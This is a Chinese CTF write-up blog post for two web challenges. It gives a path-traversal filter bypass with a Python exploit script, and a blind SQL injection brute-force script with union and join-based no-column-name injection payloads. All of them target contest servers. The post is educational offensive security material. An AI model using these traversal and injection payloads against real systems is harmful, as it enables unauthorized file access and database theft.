3rsh1
/single dog/college student/ctfer
3rsh1's Blog

[安恒七月赛]wp

web3道题目。做了两道,第三道真的没思路。近期大概会抽时间整理一下sql注入bypass information的知识点。

参考链接:

https://www.gem-love.com/ctf/2514.html
https://www.cnblogs.com/xinysu/p/7356046.html#_label3_1_2_5

ezinclude

因为一开始试了好多内容,但都是没有回显。就错以为是禁掉了好多东西,其实是因为前面加了目录的拼接,所以伪协议是不生效的,最后直接目录穿越读就可以了。然后又想到之前y1ng师傅提到的一个目录穿越的方法,下面这张图是y1ng师傅博客里的一张图:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20200725211756.png

总结:
https://3rsh1.oss-cn-beijing.aliyuncs.com/20200725220413.png

然后再放出来题目的源码:

<?php

    if(!isset(_GET['t']) || !isset(_GET['f'])){
        echo "you miss some parameters";
        exit();
    }

    timestamp = time();

    if(abs(_GET['t'] - timestamp)>10){
        echo "what's your time?";
        exit();
    }file = base64_decode(_GET['f']);

    if(substr(file, 0, strlen("/../")) === "/../" || substr(file, 0, strlen("../")) === "../" || substr(file, 0, strlen("./")) === "./" || substr(file, 0, strlen("/.")) === "/." || substr(file, 0, strlen("//")) === "//") {
        echo 'You are not allowed to do that.';
    }
    else{
        echo file_get_contents('/var/www/html/img/'.$file);
    }

?>

可以看出这里的许多符号都是在file变量的值的开头开始判断的。所以payload如下:

y1ng://happyctf.com/../../../flag

因为前面的协议+域名的组合解析并不成功,所以会把../../../flag当作是相对路径,刚好可以绕过过滤。
贴出来当时写的脚本:

import time,requests,base64
import datetime


t=time.time()
it=int(t)
file=base64.b64encode(b"y1ng://happyctf.com/../../../../../../flag")
file1=str(file)[2:-1]
url="http://183.129.189.60:10009/image.php?t=%i&f=%s"%(it,file1)
print(url)
res1=requests.get(url)
print(res1.text)

sqli

过滤:

return preg_match("/;|benchmark|\^|if|[\s]|in|case|when|sleep|auto|desc|stat|\||lock|or|and|&|like|-|`/i", $id);

一开始想的比较复杂,准备利用回显注入来做,实际上也是做出来了的,直接贴出来注入的脚本:

import requests
# http://183.129.189.60:10004/index.php
# ?id=1'=(select(select(substr((select/**/database()),1,1))='s')=1)='1

url='http://183.129.189.60:10004/index.php'
payload1='select/**/group_concat(a.2)/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flllaaaggg)a'#user(),select group_concat(table_name) from information_schema.tables where table_schema='security',database()
payload2='1234567890ABCDEFGHIJKLMNOPRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()_+=\\/?><,.;:\'"[]{}'
a=''
for d in range(0,100):
    for i in payload2:
        payload="1'=(select(select(ascii(substr((%s),%i,1)))=%i)=1)='1"%(payload1,d,ord(i))
        # print(payload)
        content=requests.get(url+"?id="+payload)
        if 'admin' in bytes.decode(content.content):
            a=a+i
            print(a)

表名是怎么得出来的呢,因为or被过滤了,而且过滤的很彻底,没啥绕过的方法,所以information_schema库内的表就没办法用了,所以就查了下bypass的方法,重点是sys库内的几个表,但是粗略的看了一下发现或多或少的,都包含禁了的字符,可以说过滤的很全面。
因为平时可以用的几个表都不能用了,而且也没什么绕过的方法,就想sys库内肯定还有可以利用的地方,就粗略的了解了一下sys库。
sys库内有许多视图(视图和表差不多,视图是对表的优化,使用方法差不多),一类是正常以字母开头的,共52个,一类是以 x 开头的,共48个。字母开头的视图显示的是格式化数据,更易读,而x开头的视图适合工具采集数据,显示的是原始未处理过的数据。

下面我们将按类别来分析以字母开头的52个视图:
host_summary:这个是服务器层面的,以IP分组,比如里面的视图host_summary_by_file_io;
user_summary:这个是用户层级的,以用户分组,比如里面的视图user_summary_by_file_io;
innodb:这个是InnoDB层面的,比如视图innodb_buffer_stats_by_schema;
io:这个是I/O层的统计,比如视图io_global_by_file_by_bytes;
memory:关于内存的使用情况,比如视图memory_by_host_by_current_bytes;
schema:关于schema级别的统计信息,比如schema_table_lock_waits;
session:关于会话级别的,这类视图少一些,只有session和session_ssl_status;
statement:关于语句级别的,比如statements_with_errors_or_warnings;
wait:关于等待的,比如视图waits_by_host_by_latency。

这里我们需要重点关注的是schema开头的几个视图,因为这些视图是和表相关的。

查看表格的全表扫描情况,抓取需要重点优化的对象,可以使用视图schema_tables_with_full_table_scans

https://3rsh1.oss-cn-beijing.aliyuncs.com/20200725214007.png

可以看到字段内有表名和库名,因此就试一下看看这个表内有没有可利用的内容。发现会回显出当前库内的表名,就可以得到存flag的表的名字了。但是我们还是不知道列名,可以利用联合注入来搞事情。因为联合注入起到的是一个并运算的效果。

select group_concat(a.2) from (select 1,2 union select * from flllaaaggg);

先看子查询,子查询查到的表是以1,2为字段名的,联合了1,2和flllaaaggg表内容的一个全新的表。这里需要注意的是union前后的表的列的个数应该相同。最外层的查询是查询了新的联合表的第二列的值的组合。即包含flag值的那列。
然后受到卢佬的提醒,这里的union都可以用那为什么不联合查询呢?参考了y1ng师傅的wp,查到表名之后:

100' union select *,1 from flllaaaggg%23;

因为考虑到一开始查询的是三个字段,所以后面用了1来补充缺少的字段。
突然有点想法。把注释符给禁掉,难度要高一些。
补充1:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20200725221057.png

补充2:
关于join在无列名注入中的应用:
https://3rsh1.oss-cn-beijing.aliyuncs.com/20200730095517.png

join就是两个表联合在一起就像是做笛卡尔积一样,但是我们查询出来的即显示出来的表是可以存在重复的列名的,但是我们需要查询的内容所在的表即用作查询表的时候是不允许出现重复的列名的。
https://3rsh1.oss-cn-beijing.aliyuncs.com/20200730095758.png

这里要注意的一个地方就是每个联合表都需要有它的别名,要不然会报错的。

left join 是左连接 即以左边表为基准
right join 是右连接 即以右边表为基准
inner join 即等值连接
join 就是普通的连接
后面接 on 的话,on后面跟的就是连接的条件,大多为字段之间的关系
A join B using(id) 即 A join B on A.id=B.id

下面是join的图解:

https://img-blog.csdnimg.cn/20190224182624977.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3pzeWdzczEzMTQ=,size_16,color_FFFFFF,t_70

在第一个图就可以看出来其实可以利用报错来爆字段的名字,图中已经很清楚了,这里就不多做赘述了。
补充个姿势:

select a from (
    select * from 
    (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t 
    where 0 
    union 
    select * from 
    table2
)x;

发表评论

textsms
account_circle
email

3rsh1's Blog

[安恒七月赛]wp
web3道题目。做了两道,第三道真的没思路。近期大概会抽时间整理一下sql注入bypass information的知识点。 参考链接: https://www.gem-love.com/ctf/2514.html https://www.cnblogs.co…
扫描二维码继续阅读
2020-07-25